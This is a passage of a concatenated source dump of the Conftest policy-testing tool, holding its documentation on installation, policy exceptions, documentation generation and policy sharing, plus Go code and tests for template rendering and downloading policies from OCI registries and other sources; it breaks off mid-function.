-------------------------------------------------------------------------------- 1 | name: "kubectl" 2 | version: "0.1.0" 3 | usage: conftest kubectl (TYPE[.VERSION][.GROUP] [NAME] | TYPE[.VERSION][.GROUP]/NAME). 4 | description: |- 5 | A Conftest plugin for using Kubectl to test objects in Kubernetes using Open Policy Agent. 6 | Usage: conftest kubectl (TYPE[.VERSION][.GROUP] [NAME] | TYPE[.VERSION][.GROUP]/NAME). 7 | command: $CONFTEST_PLUGIN_DIR/kubectl-conftest.sh 8 | -------------------------------------------------------------------------------- /docs/README.md: -------------------------------------------------------------------------------- 1 | # Conftest documentation 2 | 3 | The documentation for Conftest is stored as markdown files in this directory, and a documentation site generated using [Mkdocs](https://www.mkdocs.org/). 4 | 5 | Conftest provides a `Pipfile` for managing the required dependencies. At the top level of this repository (ie. _not_ in the `docs` directory) run: 6 | 7 | ```console 8 | pipenv install 9 | ``` 10 | 11 | With the dependencies installed you can run the site locally. Any modifications to the files in `docs` will be automatically rebuilt. 12 | 13 | ```console 14 | pipenv run mkdir serve 15 | INFO - Building documentation... 16 | INFO - Cleaning site directory 17 | INFO - Documentation built in 0.45 seconds 18 | [I 200229 08:22:10 server:296] Serving on http://127.0.0.1:8000 19 | INFO - Serving on http://127.0.0.1:8000 20 | [I 200229 08:22:10 handlers:62] Start watching changes 21 | INFO - Start watching changes 22 | [I 200229 08:22:10 handlers:64] Start detecting changes 23 | INFO - Start detecting changes 24 | ``` 25 | -------------------------------------------------------------------------------- /docs/documentation.md: -------------------------------------------------------------------------------- 1 | # Generate Policy Documentations 2 | 3 | ## Document your policies 4 | 5 | OPA has introduced a standard way to document policies called [Metadata](https://www.openpolicyagent.org/docs/latest/policy-language/#metadata). 6 | This format allows for structured in code documentation of policies. 7 | 8 | ```opa 9 | # METADATA 10 | # title: My rule 11 | # description: A rule that determines if x is allowed. 12 | # authors: 13 | # - John Doe 14 | # entrypoint: true 15 | allow if { 16 | ... 17 | } 18 | ``` 19 | 20 | For the generated documentation to make sense your `packages` should be documented with at least the `title` field 21 | and `rules` should have both `title` and `description`. This will ensure that no section is empty in your 22 | documentations. 23 | 24 | ## Generate the documentation 25 | 26 | In code documentation is great but what we often want it to later generated an actual static reference documentation. 27 | The `doc` command will retrieve all annotation of a targeted module and generate a markdown documentation for it. 28 | 29 | ```bash 30 | conftest doc path/to/policy 31 | ``` 32 | 33 | ## Use your own template 34 | 35 | You can override the [default template](https://raw.githubusercontent.com/open-policy-agent/conftest/refs/heads/master/document/resources/document.md) with your own template 36 | 37 | ```aiignore 38 | conftest -t template.md path/tp/policies 39 | ``` 40 | 41 | All annotation are returned as a sorted list of all annotations, grouped by the path and location of their targeted 42 | package or rule. For instance using this template 43 | 44 | ```bash 45 | {{ range . -}} 46 | {{ .Path }} has annotations {{ .Annotations }} 47 | {{ end -}} 48 | ``` 49 | 50 | for the following module 51 | 52 | ```yaml 53 | # METADATA 54 | # scope: subpackages 55 | # organizations: 56 | # - Acme Corp. 57 | package foo 58 | --- 59 | # METADATA 60 | # description: A couple of useful rules 61 | package foo.bar 62 | 63 | # METADATA 64 | # title: My Rule P 65 | p := 7 66 | ``` 67 | 68 | You will obtain the following rendered documentation: 69 | 70 | ```bash 71 | data.foo has annotations {"organizations":["Acme Corp."],"scope":"subpackages"} 72 | data.foo.bar has annotations {"description":"A couple of useful rules","scope":"package"} 73 | data.foo.bar.p has annotations {"scope":"rule","title":"My Rule P"} 74 | ``` 75 | -------------------------------------------------------------------------------- /docs/examples.md: -------------------------------------------------------------------------------- 1 | # Examples 2 | 3 | You can find examples using various other tools in the `examples` directory, including: 4 | 5 | * [AWS SAM Framework](https://github.com/open-policy-agent/conftest/tree/master/examples/awssam) 6 | * [Builtin-Errors](https://github.com/open-policy-agent/conftest/tree/master/examples/builtin-errors) 7 | * [Capabilities](https://github.com/open-policy-agent/conftest/tree/master/examples/capabilities) 8 | * [Combine](https://github.com/open-policy-agent/conftest/tree/master/examples/combine) 9 | * [Configfile](https://github.com/open-policy-agent/conftest/tree/master/examples/configfile) 10 | * [CUE](https://github.com/open-policy-agent/conftest/tree/master/examples/cue) 11 | * [Cyclonedx](https://github.com/open-policy-agent/conftest/tree/master/examples/cyclonedx) 12 | * [Data](https://github.com/open-policy-agent/conftest/tree/master/examples/data) 13 | * [Docker compose](https://github.com/open-policy-agent/conftest/tree/master/examples/compose) 14 | * [Dockerfile](https://github.com/open-policy-agent/conftest/tree/master/examples/docker) 15 | * [Dotenv](https://github.com/open-policy-agent/conftest/tree/master/examples/dotenv) 16 | * [EDN](https://github.com/open-policy-agent/conftest/tree/master/examples/edn) 17 | * [Exceptions](https://github.com/open-policy-agent/conftest/tree/master/examples/exceptions) 18 | * [HCL](https://github.com/open-policy-agent/conftest/tree/master/examples/hcl1) 19 | * [HCL 2](https://github.com/open-policy-agent/conftest/tree/master/examples/hcl2) 20 | * [HOCON](https://github.com/open-policy-agent/conftest/tree/master/examples/hocon) 21 | * [Ignore](https://github.com/open-policy-agent/conftest/tree/master/examples/ignore) 22 | * [INI](https://github.com/open-policy-agent/conftest/tree/master/examples/ini) 23 | * [Jsonnet](https://github.com/open-policy-agent/conftest/tree/master/examples/jsonnet) 24 | * [Kubernetes](https://github.com/open-policy-agent/conftest/tree/master/examples/kubernetes) 25 | * [Kustomize](https://github.com/open-policy-agent/conftest/tree/master/examples/kustomize) 26 | * [Properties](https://github.com/open-policy-agent/conftest/tree/master/examples/properties) 27 | * [Report](https://github.com/open-policy-agent/conftest/tree/master/examples/report) 28 | * [Serverless Framework](https://github.com/open-policy-agent/conftest/tree/master/examples/serverless) 29 | * [Spdx](https://github.com/open-policy-agent/conftest/tree/master/examples/spdx) 30 | * [Strict-rules](https://github.com/open-policy-agent/conftest/tree/master/examples/strict-rules/policy) 31 | * [Textproto](https://github.com/open-policy-agent/conftest/tree/master/examples/textproto) 32 | * [Traefik](https://github.com/open-policy-agent/conftest/tree/master/examples/traefik) 33 | * [Typescript](https://github.com/open-policy-agent/conftest/tree/master/examples/ts) 34 | * [VCL](https://github.com/open-policy-agent/conftest/tree/master/examples/vcl) 35 | * [XML](https://github.com/open-policy-agent/conftest/tree/master/examples/xml) 36 | -------------------------------------------------------------------------------- /docs/exceptions.md: -------------------------------------------------------------------------------- 1 | # Exceptions 2 | 3 | There might be cases where rules might not apply under certain circumstances. For those occasions, you can use `exceptions`. Exceptions are also written in rego, and allow you to specify policies for when a given `deny` or `violation` rule does not apply. 4 | 5 | Inputs matched by the `exception` will be exempted from the rules specified in `rules`, prefixed by `deny_` or `violation_`: 6 | 7 | ```rego 8 | exception contains rules if { 9 | # Logic 10 | 11 | rules := ["foo","bar"] 12 | } 13 | ``` 14 | 15 | The above would provide an exception from `deny_foo` and `violation_foo` as well as `deny_bar` and `violation_bar`. 16 | 17 | Note that if you specify the empty string, the exception will match *all* rules named `deny` or `violation`. It is recommended to use identifiers in your rule names to allow for targeted exceptions. 18 | 19 | ## Reporting 20 | 21 | Exceptions are reported as a separate tally in Conftest's output, so you can detect when exceptions are being made. For example, you might see this summary: 22 | 23 | `2 tests, 1 passed, 0 warnings, 0 failures, 1 exception`. 24 | 25 | ## Examples 26 | 27 | In the below example, a Kubernetes deployment named `can-run-as-root` will be allowed to run as root, while others will not: 28 | 29 | ```rego 30 | package main 31 | 32 | deny_run_as_root contains msg if { 33 | input.kind == "Deployment" 34 | not input.spec.template.spec.securityContext.runAsNonRoot 35 | 36 | msg := "Containers must not run as root" 37 | } 38 | 39 | exception contains rules if { 40 | input.kind == "Deployment" 41 | input.metadata.name == "can-run-as-root" 42 | 43 | rules := ["run_as_root"] 44 | } 45 | ``` 46 | -------------------------------------------------------------------------------- /docs/install.md: -------------------------------------------------------------------------------- 1 | # Installation 2 | 3 | Conftest is available for Windows, macOS and Linux on the [releases page](https://github.com/open-policy-agent/conftest/releases). 4 | 5 | On Linux and macOS you can download as follows: 6 | 7 | ```console 8 | LATEST_VERSION=$(wget -O - "https://api.github.com/repos/open-policy-agent/conftest/releases/latest" | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/' | cut -c 2-) 9 | ARCH=$(arch) 10 | SYSTEM=$(uname) 11 | wget "https://github.com/open-policy-agent/conftest/releases/download/v${LATEST_VERSION}/conftest_${LATEST_VERSION}_${SYSTEM}_${ARCH}.tar.gz" 12 | tar xzf conftest_${LATEST_VERSION}_${SYSTEM}_${ARCH}.tar.gz 13 | sudo mv conftest /usr/local/bin 14 | ``` 15 | 16 | ## Brew 17 | 18 | Install with Homebrew on macOS or Linux: 19 | 20 | ```console 21 | brew install conftest 22 | ``` 23 | 24 | ## Scoop 25 | 26 | You can also install using [Scoop](https://scoop.sh/) on Windows: 27 | 28 | ```console 29 | scoop install conftest 30 | ``` 31 | 32 | ## Docker 33 | 34 | Conftest Docker images are also available. Simply mount your configuration and policy at `/project` and specify the relevant command like so: 35 | 36 | ```console 37 | $ docker run --rm -v $(pwd):/project openpolicyagent/conftest test deployment.yaml 38 | FAIL - deployment.yaml - Containers must not run as root in Deployment hello-kubernetes 39 | 40 | 1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions 41 | ``` 42 | 43 | > **NOTE:** The instrumenta/conftest image is deprecated and will no longer be updated. Please use the openpolicyagent/conftest image. 44 | 45 | ## From Source 46 | 47 | If you have a working Go environment, you can install conftest from source. It will be installed 48 | to your configured `$GOPATH/bin` folder. 49 | 50 | ```sh 51 | CGO_ENABLED=0 go install github.com/open-policy-agent/conftest@latest 52 | ``` 53 | -------------------------------------------------------------------------------- /docs/sharing.md: -------------------------------------------------------------------------------- 1 | # Sharing policies 2 | 3 | Policies are often reusable between different projects, and Conftest supports a mechanism to specify dependent policies as well as download them. The format reuses the [Bundle defined by Open Policy Agent](https://www.openpolicyagent.org/docs/latest/bundles). 4 | 5 | ## Pulling 6 | 7 | The `pull` command allows you to download policies using either a URL, a specific protocol (such as `git`), or an [OCI Registry](https://stevelasker.blog/2019/01/25/cloud-native-artifact-stores-evolve-from-container-registries/). 8 | 9 | ### HTTPS 10 | 11 | ```console 12 | conftest pull https://raw.githubusercontent.com/open-policy-agent/conftest/master/examples/compose/policy/deny.rego 13 | ``` 14 | 15 | ### Git 16 | 17 | ```console 18 | conftest pull git::https://github.com//.git//sub/folder 19 | ``` 20 | 21 | ### Git (with access token) 22 | 23 | ```console 24 | conftest pull git::https://@github.com//.git//sub/folder 25 | ``` 26 | 27 | ### OCI Registry 28 | 29 | ```console 30 | conftest pull oci://opa.azurecr.io/test 31 | ``` 32 | 33 | See the [go-getter](https://github.com/hashicorp/go-getter) repository for more examples. 34 | 35 | ## Pushing to an OCI registry 36 | 37 | Policies can be stored in OCI registries that support the artifact specification mentioned above. Conftest accomplishes this by leveraging [ORAS](https://github.com/oras-project/oras-go). 38 | 39 | For example, if you have a compatible OCI registry you can push a new policy bundle like so: 40 | 41 | ```console 42 | conftest push opa.azurecr.io/test 43 | ``` 44 | 45 | ## `--update` flag 46 | 47 | If you want to download the latest policies and run the tests in one go, you can do so with the `--update` flag: 48 | 49 | ```console 50 | conftest test --update 51 | ``` 52 | -------------------------------------------------------------------------------- /document/document.go: -------------------------------------------------------------------------------- 1 | package document 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | ) 7 | 8 | // GenerateDocument generate a documentation file for a given module 9 | // A single page is generated for the module located in the indicated directory this includes all package, subpackages 10 | // and rules of the provided path. 11 | func GenerateDocument(dir string, tpl string, out io.Writer) error { 12 | 13 | as, err := ParseRegoWithAnnotations(dir) 14 | if err != nil { 15 | return fmt.Errorf("parse rego annotations: %w", err) 16 | } 17 | 18 | sec, err := ConvertAnnotationsToSections(as) 19 | if err != nil { 20 | return fmt.Errorf("validating annotations: %w", err) 21 | } 22 | 23 | var opt []RenderDocumentOption 24 | if tpl != "" { 25 | opt = append(opt, ExternalTemplate(tpl)) 26 | } 27 | 28 | err = RenderDocument(out, sec, opt...) 29 | if err != nil { 30 | return fmt.Errorf("rendering document: %w", err) 31 | } 32 | 33 | return nil 34 | } 35 | -------------------------------------------------------------------------------- /document/resources/document.md: -------------------------------------------------------------------------------- 1 | {{ range . -}} 2 | {{ .MarkdownHeading }} {{ .RegoPackageName }} - {{ .Annotations.Title }} 3 | 4 | {{ .Annotations.Description }} 5 | {{ if .Annotations.RelatedResources }} 6 | Related Resources: 7 | {{ range .Annotations.RelatedResources }} 8 | {{ if .Description -}} 9 | * [{{.Description}}]({{ .Ref }}) 10 | {{- else -}} 11 | * {{ .Ref }} 12 | {{- end -}} 13 | {{ end }} 14 | {{ end }} 15 | {{ end -}} 16 | -------------------------------------------------------------------------------- /document/template.go: -------------------------------------------------------------------------------- 1 | package document 2 | 3 | import ( 4 | "embed" 5 | "fmt" 6 | "io" 7 | "text/template" 8 | ) 9 | 10 | //go:embed resources/* 11 | var resources embed.FS 12 | 13 | // TemplateKind helps us to select where to find the template. 14 | // It can either be embedded or on the host filesystem 15 | type TemplateKind int 16 | 17 | const ( 18 | TemplateKindInternal TemplateKind = iota 19 | TemplateKindExternal 20 | ) 21 | 22 | // TemplateConfig represent the location of the template file(s) 23 | type TemplateConfig struct { 24 | kind TemplateKind 25 | path string 26 | } 27 | 28 | func NewTemplateConfig() *TemplateConfig { 29 | return &TemplateConfig{ 30 | kind: TemplateKindInternal, 31 | path: "resources/document.md", 32 | } 33 | } 34 | 35 | type RenderDocumentOption func(*TemplateConfig) 36 | 37 | // ExternalTemplate is a functional option to override the documentation template 38 | // When overriding the template, we assume it is located on the host file system 39 | func ExternalTemplate(tpl string) RenderDocumentOption { 40 | return func(c *TemplateConfig) { 41 | c.kind = TemplateKindExternal 42 | c.path = tpl 43 | } 44 | } 45 | 46 | // RenderDocument takes a slice of Section and generate the markdown documentation either using the default 47 | // embedded template or the user provided template 48 | func RenderDocument(out io.Writer, d Document, opts ...RenderDocumentOption) error { 49 | tpl := NewTemplateConfig() 50 | 51 | // Apply all the functional options to the template configurations 52 | for _, opt := range opts { 53 | opt(tpl) 54 | } 55 | 56 | err := renderTemplate(tpl, d, out) 57 | if err != nil { 58 | return err 59 | } 60 | 61 | return nil 62 | } 63 | 64 | // renderTemplate is an utility function to use go-template it handles fetching the template file(s) 65 | // whether they are embedded or on the host file system. 66 | func renderTemplate(tpl *TemplateConfig, sections []Section, out io.Writer) error { 67 | var t *template.Template 68 | var err error 69 | 70 | switch tpl.kind { 71 | case TemplateKindInternal: 72 | // read the embedded template 73 | t, err = template.ParseFS(resources, tpl.path) 74 | if err != nil { 75 | return err 76 | } 77 | case TemplateKindExternal: 78 | t, err = template.ParseFiles(tpl.path) 79 | if err != nil { 80 | return err 81 | } 82 | default: 83 | return fmt.Errorf("unknown template kind: %v", tpl.kind) 84 | } 85 | 86 | // we render the template 87 | err = t.Execute(out, sections) 88 | if err != nil { 89 | return err 90 | } 91 | 92 | return nil 93 | } 94 | -------------------------------------------------------------------------------- /document/template_test.go: -------------------------------------------------------------------------------- 1 | package document 2 | 3 | import ( 4 | "bytes" 5 | "os" 6 | "testing" 7 | ) 8 | 9 | func TestRenderDocument(t *testing.T) { 10 | tests := []struct { 11 | name string 12 | testdata string 13 | Options []RenderDocumentOption 14 | wantOut string 15 | wantErr bool 16 | }{ 17 | { 18 | name: "Nested packages", 19 | testdata: "./testdata/foo", 20 | wantOut: "./testdata/doc/foo.md", 21 | wantErr: false, 22 | }, { 23 | name: "Nested packages", 24 | testdata: "./testdata/foo", 25 | wantOut: "./testdata/doc/foo.md", 26 | Options: []RenderDocumentOption{ 27 | ExternalTemplate("testdata/template.md"), 28 | }, 29 | wantErr: false, 30 | }, 31 | } 32 | for _, tt := range tests { 33 | t.Run(tt.name, func(t *testing.T) { 34 | as, err := ParseRegoWithAnnotations(tt.testdata) 35 | if (err != nil) != tt.wantErr { 36 | t.Errorf("ParseRegoWithAnnotations() error = %v, wantErr %v", err, tt.wantErr) 37 | } 38 | 39 | d, err := ConvertAnnotationsToSections(as) 40 | if (err != nil) != tt.wantErr { 41 | t.Errorf("ConvertAnnotationsToSections() error = %v, wantErr %v", err, tt.wantErr) 42 | } 43 | 44 | gotOut := &bytes.Buffer{} 45 | err = RenderDocument(gotOut, d, tt.Options...) 46 | if (err != nil) != tt.wantErr { 47 | t.Errorf("RenderDocument() error = %v, wantErr %v", err, tt.wantErr) 48 | return 49 | } 50 | 51 | wantOut, err := os.ReadFile(tt.wantOut) 52 | if err != nil { 53 | t.Errorf("unexpected test error: %v", err) 54 | return 55 | } 56 | 57 | if gotOut.String() != string(wantOut) { 58 | t.Errorf("ReadFile() = %v, want %v", gotOut.String(), wantOut) 59 | } 60 | 61 | // prospective golden file, much simpler to see what's the result in case the test fails 62 | // this does not override the existing test, but create a new file called xxx.golden 63 | err = os.WriteFile(tt.wantOut+".golden", gotOut.Bytes(), 0600) 64 | if err != nil { 65 | t.Errorf("unexpected test error: %v", err) 66 | return 67 | } 68 | }, 69 | ) 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /document/testdata/doc/foo.md: -------------------------------------------------------------------------------- 1 | # foo - My package foo 2 | 3 | the package with rule A and subpackage bar 4 | 5 | ## foo.a - My Rule A 6 | 7 | the rule A = 3 8 | 9 | Related Resources: 10 | 11 | * https://example.com 12 | * [Yet another link](https://example.com/more) 13 | 14 | ## foo.bar - My package bar 15 | 16 | The package with rule P 17 | 18 | ### foo.bar.p - My Rule P 19 | 20 | the Rule P = 7 21 | 22 | -------------------------------------------------------------------------------- /document/testdata/foo/bar/bizz.rego: -------------------------------------------------------------------------------- 1 | # METADATA 2 | # title: My package bar 3 | # description: The package with rule P 4 | package foo.bar 5 | import rego.v1 6 | 7 | # METADATA 8 | # title: My Rule P 9 | # description: the Rule P = 7 10 | p := 7 11 | -------------------------------------------------------------------------------- /document/testdata/foo/base.rego: -------------------------------------------------------------------------------- 1 | # METADATA 2 | # title: My package foo 3 | # description: the package with rule A and subpackage bar 4 | # scope: subpackages 5 | # organizations: 6 | # - Acme Corp. 7 | package foo 8 | import rego.v1 9 | 10 | # METADATA 11 | # title: My Rule A 12 | # description: the rule A = 3 13 | # related_resources: 14 | # - ref: https://example.com 15 | # - ref: https://example.com/more 16 | # description: Yet another link 17 | a := 3 18 | -------------------------------------------------------------------------------- /document/testdata/foo/base_test.rego: -------------------------------------------------------------------------------- 1 | package foo 2 | import rego.v1 3 | 4 | test_a_is_3 if { 5 | a == 3 6 | } 7 | -------------------------------------------------------------------------------- /document/testdata/template.md: -------------------------------------------------------------------------------- 1 | {{ range . -}} 2 | {{ .MarkdownHeading }} {{ .RegoPackageName }} - {{ .Annotations.Title }} 3 | 4 | {{ .Annotations.Description }} 5 | {{ if .Annotations.RelatedResources }} 6 | Related Resources: 7 | {{ range .Annotations.RelatedResources }} 8 | {{ if .Description -}} 9 | * [{{.Description}}]({{ .Ref }}) 10 | {{- else -}} 11 | * {{ .Ref }} 12 | {{- end -}} 13 | {{ end }} 14 | {{ end }} 15 | {{ end -}} 16 | -------------------------------------------------------------------------------- /downloader/downloader.go: -------------------------------------------------------------------------------- 1 | package downloader 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "os" 7 | "path/filepath" 8 | "strings" 9 | 10 | getter "github.com/hashicorp/go-getter" 11 | ) 12 | 13 | var detectors = []getter.Detector{ 14 | new(OCIDetector), 15 | new(getter.GitHubDetector), 16 | new(getter.GitDetector), 17 | new(getter.BitBucketDetector), 18 | new(getter.S3Detector), 19 | new(getter.GCSDetector), 20 | new(getter.FileDetector), 21 | } 22 | 23 | var getters = map[string]getter.Getter{ 24 | "file": new(getter.FileGetter), 25 | "git": new(getter.GitGetter), 26 | "gcs": new(getter.GCSGetter), 27 | "hg": new(getter.HgGetter), 28 | "s3": new(getter.S3Getter), 29 | "oci": new(OCIGetter), 30 | "http": new(getter.HttpGetter), 31 | "https": new(getter.HttpGetter), 32 | } 33 | 34 | // Download downloads the given policies into the given destination. 35 | func Download(ctx context.Context, dst string, urls []string) error { 36 | opts := []getter.ClientOption{} 37 | for _, url := range urls { 38 | detectedURL, err := Detect(url, dst) 39 | if err != nil { 40 | return fmt.Errorf("detecting url: %w", err) 41 | } 42 | 43 | // Check if file already exists 44 | filename := filepath.Base(detectedURL) 45 | targetPath := filepath.Join(dst, filename) 46 | if _, err := os.Stat(targetPath); err == nil { 47 | return fmt.Errorf("policy file already exists at %s, refusing to overwrite", targetPath) 48 | } 49 | 50 | client := &getter.Client{ 51 | Ctx: ctx, 52 | Src: detectedURL, 53 | Dst: dst, 54 | Pwd: dst, 55 | Mode: getter.ClientModeAny, 56 | Detectors: detectors, 57 | Getters: getters, 58 | Options: opts, 59 | } 60 | 61 | if err := client.Get(); err != nil { 62 | return fmt.Errorf("client get: %w", err) 63 | } 64 | } 65 | 66 | return nil 67 | } 68 | 69 | // Detect determines whether a url is a known source url from which we can download files. 70 | // If a known source is found, the url is formatted, otherwise an error is returned. 71 | func Detect(url string, dst string) (string, error) { 72 | 73 | // localhost is not considered a valid scheme for the detector which 74 | // causes pull commands that reference localhost to error. 75 | // 76 | // To allow for localhost to be used, replace the localhost reference 77 | // with the IP address. 78 | if strings.Contains(url, "localhost") { 79 | url = strings.ReplaceAll(url, "localhost", "127.0.0.1") 80 | } 81 | 82 | result, err := getter.Detect(url, dst, detectors) 83 | if err != nil { 84 | return "", fmt.Errorf("detect: %w", err) 85 | } 86 | 87 | return result, nil 88 | } 89 | -------------------------------------------------------------------------------- /downloader/downloader_test.go: -------------------------------------------------------------------------------- 1 | package downloader 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "net" 7 | "net/http" 8 | "os" 9 | "path/filepath" 10 | "testing" 11 | "time" 12 | ) 13 | 14 | func TestDownloadFailsWhenFileExists(t *testing.T) { 15 | tmpDir := t.TempDir() 16 | 17 | // Create a file that would conflict with the download 18 | existingFile := filepath.Join(tmpDir, "policy.rego") 19 | if err := os.WriteFile(existingFile, []byte("existing content"), os.FileMode(0600)); err != nil { 20 | t.Fatal(err) 21 | } 22 | 23 | // Start a test HTTP server on an ephemeral port 24 | listener, err := net.Listen("tcp", "127.0.0.1:0") 25 | if err != nil { 26 | t.Fatal(err) 27 | } 28 | defer listener.Close() 29 | 30 | server := &http.Server{ 31 | Handler: http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { 32 | fmt.Fprint(w, "new content") 33 | }), 34 | ReadHeaderTimeout: 1 * time.Second, 35 | } 36 | errCh := make(chan error, 1) 37 | go func() { 38 | errCh <- server.Serve(listener) 39 | }() 40 | defer server.Close() 41 | 42 | // Try to download a policy file with the same name 43 | urls := []string{fmt.Sprintf("http://%s/policy.rego", listener.Addr().String())} 44 | downloadErr := Download(context.Background(), tmpDir, urls) 45 | 46 | // Verify that download fails with the expected error 47 | if downloadErr == nil { 48 | t.Error("Expected download to fail when file exists, but it succeeded") 49 | } 50 | if downloadErr != nil && !filepath.IsAbs(existingFile) { 51 | t.Errorf("Expected error message to contain absolute path, got: %v", downloadErr) 52 | } 53 | 54 | // Verify the original file is unchanged 55 | content, err := os.ReadFile(existingFile) 56 | if err != nil { 57 | t.Fatal(err) 58 | } 59 | if string(content) != "existing content" { 60 | t.Error("Existing file was modified") 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /downloader/oci_detector.go: -------------------------------------------------------------------------------- 1 | package downloader 2 | 3 | import ( 4 | "fmt" 5 | "regexp" 6 | "strings" 7 | ) 8 | 9 | // OCIDetector implements Detector to detect OCI registry URLs and turn 10 | // them into URLs that the OCI getter can understand. 11 | type OCIDetector struct{} 12 | 13 | // Detect will detect if the source is an OCI registry. 14 | func (d *OCIDetector) Detect(src, _ string) (string, bool, error) { 15 | if len(src) == 0 { 16 | return "", false, nil 17 | } 18 | 19 | if containsOCIRegistry(src) || containsLocalRegistry(src) { 20 | url, err := detectHTTP(src) 21 | if err != nil { 22 | return "", false, fmt.Errorf("detect http: %w", err) 23 | } 24 | 25 | return url, true, nil 26 | } 27 | 28 | return "", false, nil 29 | } 30 | 31 | func containsOCIRegistry(src string) bool { 32 | matchRegistries := []*regexp.Regexp{ 33 | regexp.MustCompile(`azurecr\.io`), 34 | regexp.MustCompile(`gcr\.io`), 35 | regexp.MustCompile(`registry\.gitlab\.com`), 36 | regexp.MustCompile(`pkg\.dev`), 37 | regexp.MustCompile(`[0-9]{12}\.dkr\.ecr\.[a-z0-9-]*\.amazonaws\.com`), 38 | regexp.MustCompile(`^quay\.io`), 39 | } 40 | 41 | for _, matchRegistry := range matchRegistries { 42 | if matchRegistry.MatchString(src) { 43 | return true 44 | } 45 | } 46 | 47 | return false 48 | } 49 | 50 | func containsLocalRegistry(src string) bool { 51 | matched, err := regexp.MatchString(`(?:::1|127\.0\.0\.1|(?i:localhost)):\d{1,5}`, src) 52 | 53 | return err == nil && matched 54 | } 55 | 56 | func detectHTTP(src string) (string, error) { 57 | parts := strings.Split(src, "/") 58 | if len(parts) < 2 { 59 | return "", fmt.Errorf("URL is not a valid registry URL") 60 | } 61 | 62 | repository := getRepositoryFromURL(src) 63 | return "oci://" + repository, nil 64 | } 65 | 66 | func getRepositoryFromURL(url string) string { 67 | pathParts := strings.Split(url, "/") 68 | lastPathPart := pathParts[len(pathParts)-1] 69 | 70 | if strings.Contains(lastPathPart, ":") { 71 | return url 72 | } 73 | 74 | return url + ":latest" 75 | } 76 | -------------------------------------------------------------------------------- /downloader/oci_detector_test.go: -------------------------------------------------------------------------------- 1 | package downloader 2 | 3 | import "testing" 4 | 5 | func TestOCIDetector_Detect(t *testing.T) { 6 | tests := []struct { 7 | name string 8 | input string 9 | expected string 10 | }{ 11 | { 12 | "should detect azurecr", 13 | "user.azurecr.io/policies:tag", 14 | "oci://user.azurecr.io/policies:tag", 15 | }, 16 | { 17 | "should detect gcr", 18 | "gcr.io/conftest/policies:tag", 19 | "oci://gcr.io/conftest/policies:tag", 20 | }, 21 | { 22 | "should detect google artifact registry", 23 | "region-docker.pkg.dev/conftest/policies:tag", 24 | "oci://region-docker.pkg.dev/conftest/policies:tag", 25 | }, 26 | { 27 | "should detect ecr", 28 | "123456789012.dkr.ecr.us-east-1.amazonaws.com/conftest/policies:tag", 29 | "oci://123456789012.dkr.ecr.us-east-1.amazonaws.com/conftest/policies:tag", 30 | }, 31 | { 32 | "should detect gitlab", 33 | "registry.gitlab.com/conftest/policies:tag", 34 | "oci://registry.gitlab.com/conftest/policies:tag", 35 | }, 36 | { 37 | "should add latest tag", 38 | "user.azurecr.io/policies", 39 | "oci://user.azurecr.io/policies:latest", 40 | }, 41 | { 42 | "should detect 127.0.0.1:5000 as most likely being an OCI registry", 43 | "127.0.0.1:5000/policies:tag", 44 | "oci://127.0.0.1:5000/policies:tag", 45 | }, 46 | { 47 | "should detect 127.0.0.1:5000 as most likely being an OCI registry and tag it properly if no tag is supplied", 48 | "127.0.0.1:5000/policies", 49 | "oci://127.0.0.1:5000/policies:latest", 50 | }, 51 | { 52 | "should detect localhost:5000 as most likely being an OCI registry and tag it properly if no tag is supplied", 53 | "localhost:5000/policies", 54 | "oci://localhost:5000/policies:latest", 55 | }, 56 | { 57 | "should detect Quay", 58 | "quay.io/conftest/policies:tag", 59 | "oci://quay.io/conftest/policies:tag", 60 | }, 61 | { 62 | "should detect localhost:32123/policies:tag as most likely being an OCI registry", 63 | "localhost:32123/policies:tag", 64 | "oci://localhost:32123/policies:tag", 65 | }, 66 | { 67 | "should detect 127.0.0.1:32123/policies:tag as most likely being an OCI registry", 68 | "127.0.0.1:32123/policies:tag", 69 | "oci://127.0.0.1:32123/policies:tag", 70 | }, 71 | { 72 | "should detect ::1:32123/policies:tag as most likely being an OCI registry", 73 | "::1:32123/policies:tag", 74 | "oci://::1:32123/policies:tag", 75 | }, 76 | } 77 | 78 | pwd := "/pwd" 79 | d := &OCIDetector{} 80 | 81 | for _, tt := range tests { 82 | t.Run(tt.name, func(t *testing.T) { 83 | out, ok, err := d.Detect(tt.input, pwd) 84 | if err != nil { 85 | t.Fatalf("OCIDetector.Detect() error = %v", err) 86 | } 87 | 88 | if !ok { 89 | t.Fatal("OCIDetector.Detect() not ok, should have detected") 90 | } 91 | 92 | if out != tt.expected { 93 | t.Errorf("OCIDetector.Detect() output = %v, want %v", out, tt.expected) 94 | } 95 | }) 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /downloader/oci_getter.go: -------------------------------------------------------------------------------- 1 | package downloader 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "net/url" 7 | "os" 8 | "strings" 9 | 10 | reg "github.com/open-policy-agent/conftest/internal/registry" 11 | 12 | getter "github.com/hashicorp/go-getter" 13 | "oras.land/oras-go/v2" 14 | "oras.land/oras-go/v2/content/file" 15 | "oras.land/oras-go/v2/registry" 16 | "oras.land/oras-go/v2/registry/remote" 17 | ) 18 | 19 | // OCIGetter is responsible for handling OCI repositories 20 | type OCIGetter struct { 21 | client *getter.Client 22 | } 23 | 24 | // ClientMode returns the client mode directory 25 | func (g *OCIGetter) ClientMode(_ *url.URL) (getter.ClientMode, error) { 26 | return getter.ClientModeDir, nil 27 | } 28 | 29 | // Get gets the repository as the specified url 30 | func (g *OCIGetter) Get(path string, u *url.URL) error { 31 | ctx := g.Context() 32 | 33 | repository := ociURL(u) 34 | ref, err := registry.ParseReference(repository) 35 | if err != nil { 36 | return fmt.Errorf("reference: %w", err) 37 | } 38 | 39 | if ref.Reference == "" { 40 | ref.Reference = "latest" 41 | repository = ref.String() 42 | } 43 | 44 | src, err := remote.NewRepository(repository) 45 | if err != nil { 46 | return fmt.Errorf("repository: %w", err) 47 | } 48 | 49 | if err := reg.SetupClient(src); err != nil { 50 | return fmt.Errorf("registry client setup: %w", err) 51 | } 52 | 53 | if err := os.MkdirAll(path, os.ModePerm); err != nil { 54 | return 